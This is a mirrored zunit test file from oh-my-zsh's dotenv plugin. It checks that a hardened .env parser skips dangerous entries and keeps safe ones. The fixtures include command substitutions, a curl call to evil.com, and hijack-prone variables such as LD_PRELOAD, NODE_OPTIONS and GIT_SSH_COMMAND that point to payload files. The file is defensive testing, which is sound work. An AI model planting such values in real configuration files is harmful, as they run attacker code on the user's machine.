mirror of
https://github.com/ohmyzsh/ohmyzsh.git
synced 2026-05-29 04:53:17 +02:00
Some checks failed
Scorecard supply-chain security / Scorecard analysis (push) Has been cancelled
* fix(dotenv): expect explicit yes before loading .env file * fix(dotenv): implement secure parsing for .env files and add comprehensive tests * feat(dotenv): check for .env file size to prevent DoS * fix(dotenv): forbid setting special variables * fix(dotenv): FIFO shouldn't be read twice * fix(dotenv): unknown vars should expand to empty * fix(dotenv): reject extremely large named pipes * docs(dotenv): update to new parsing system * fix(dotenv): add support for escaped dollars * chore(dotenv): only declare local variables once * fix(dotenv): apply review suggestions * docs(dotenv): update test instructions Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
209 lines
4.9 KiB
Text
209 lines
4.9 KiB
Text
#!/usr/bin/env zunit
|
|
|
|
@setup {
|
|
typeset -g fixture="$(_create_temp_fixture)"
|
|
typeset -gA expected_vars=()
|
|
}
|
|
|
|
@teardown {
|
|
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
|
}
|
|
|
|
@test 'skip dangerous backtick command substitution' {
|
|
> "$fixture" <<'EOF'
|
|
# Should be skipped
|
|
DANGEROUS_BACKTICK=`whoami`
|
|
EOF
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'skip dangerous subshell command substitution' {
|
|
> "$fixture" <<'EOF'
|
|
# Should be skipped
|
|
DANGEROUS_SUBSHELL=$(date)
|
|
EOF
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'skip nested command substitution in double quotes' {
|
|
> "$fixture" <<'EOF'
|
|
# Should be skipped
|
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
|
EOF
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'skip multiple words (potential command execution)' {
|
|
> "$fixture" <<'EOF'
|
|
# Should be skipped - multiple words could execute commands
|
|
BASE_URL=/ echo command run
|
|
EOF
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'allow literal command substitution in single quotes' {
|
|
> "$fixture" <<'EOF'
|
|
# Single quotes make everything literal - should be parsed
|
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
|
SAFE_BACKTICK='`also literal`'
|
|
|
|
# Should also be parsed
|
|
SAFE_VAR=safe_value
|
|
EOF
|
|
|
|
expected_vars=(
|
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
|
SAFE_BACKTICK '`also literal`'
|
|
SAFE_VAR 'safe_value'
|
|
)
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'skip backticks in unquoted values' {
|
|
> "$fixture" <<'EOF'
|
|
# Backticks in unquoted context - should be skipped
|
|
DANGEROUS_UNQUOTED=`echo danger`
|
|
EOF
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'skip dollar-paren in unquoted values' {
|
|
> "$fixture" <<'EOF'
|
|
# Command substitution in unquoted context - should be skipped
|
|
DANGEROUS_UNQUOTED=$(uname -a)
|
|
EOF
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
|
|
> "$fixture" <<'EOF'
|
|
# Dollar signs that don't start command substitution
|
|
SAFE_DOLLARS='$HOME is literal'
|
|
SAFE_PRICE='Cost is $50'
|
|
SAFE_VAR='value$123'
|
|
|
|
# Should all be parsed
|
|
SAFE_VAR2=safe_value
|
|
EOF
|
|
|
|
expected_vars=(
|
|
SAFE_DOLLARS '$HOME is literal'
|
|
SAFE_PRICE 'Cost is $50'
|
|
SAFE_VAR 'value$123'
|
|
SAFE_VAR2 'safe_value'
|
|
)
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'skip quoted command substitution' {
|
|
> "$fixture" <<'EOF'
|
|
HARMLESS_COMMAND="\$(echo)"
|
|
ANOTHER_ONE=$'\x24\x28echo\x29'
|
|
EOF
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
@test 'comprehensive security test with mixed safe and dangerous patterns' {
|
|
> "$fixture" <<'EOF'
|
|
# These should be SKIPPED (dangerous)
|
|
DANGEROUS_BACKTICK=`whoami`
|
|
DANGEROUS_SUBSHELL=$(date)
|
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
|
LOOKS_SAFE=$(curl http://evil.com)
|
|
BASE_URL=/ echo command run
|
|
|
|
# These should WORK (safe)
|
|
SAFE_BEFORE=safe_value_1
|
|
SAFE_AFTER=safe_value_2
|
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
|
SAFE_SINGLE_QUOTED2='`also literal`'
|
|
SAFE_DOLLARS='$HOME'
|
|
SAFE_PRICE="$50"
|
|
EOF
|
|
|
|
expected_vars=(
|
|
SAFE_BEFORE 'safe_value_1'
|
|
SAFE_AFTER 'safe_value_2'
|
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
|
SAFE_SINGLE_QUOTED2 '`also literal`'
|
|
SAFE_DOLLARS '$HOME'
|
|
SAFE_PRICE '$50'
|
|
)
|
|
|
|
_parse_dotenv_test "$fixture"
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|
|
|
|
|
|
|
|
@test 'blocks changes of special environment variables' {
|
|
_parse_dotenv_test =(<<'EOF'
|
|
# Executes on the next node/npm/npx invocation
|
|
NODE_OPTIONS=--require=./payload.js
|
|
|
|
# Used for shell initialization
|
|
BASH_ENV=./payload.sh
|
|
# Used for shell initialization in zsh, but also respected by some tools like git
|
|
# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
|
|
# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
|
|
ENV=./payload.sh
|
|
# Used for zsh startup
|
|
ZDOTDIR=./.malicious_zsh
|
|
ZSH=./.malicious_zsh
|
|
|
|
# These are used for native code injection
|
|
LD_PRELOAD=./payload.so
|
|
LD_LIBRARY_PATH=./malicious_libs
|
|
DYLD_INSERT_LIBRARIES=./payload.dylib
|
|
|
|
# Git environment variables
|
|
GIT_CONFIG_GLOBAL=./.gitconfig-malicious
|
|
GIT_DIR=./malicious_git_dir
|
|
GIT_EDITOR=./malicious_editor
|
|
GIT_EXTERNAL_DIFF=./malicious_diff
|
|
GIT_EXEC_PATH=./.malicious_git_exec
|
|
GIT_PAGER=./malicious_pager
|
|
GIT_SSH=./malicious_ssh
|
|
GIT_SSH_COMMAND=./malicious_ssh_command
|
|
GIT_SSL_NO_VERIFY=true
|
|
GIT_TEMPLATE_DIR=./malicious_templates # for persistence
|
|
|
|
# Special exported variables
|
|
PATH=./malicious_bin:$PATH
|
|
EDITOR=./malicious
|
|
VISUAL=./malicious
|
|
PAGER=./malicious
|
|
EOF
|
|
)
|
|
|
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
|
}
|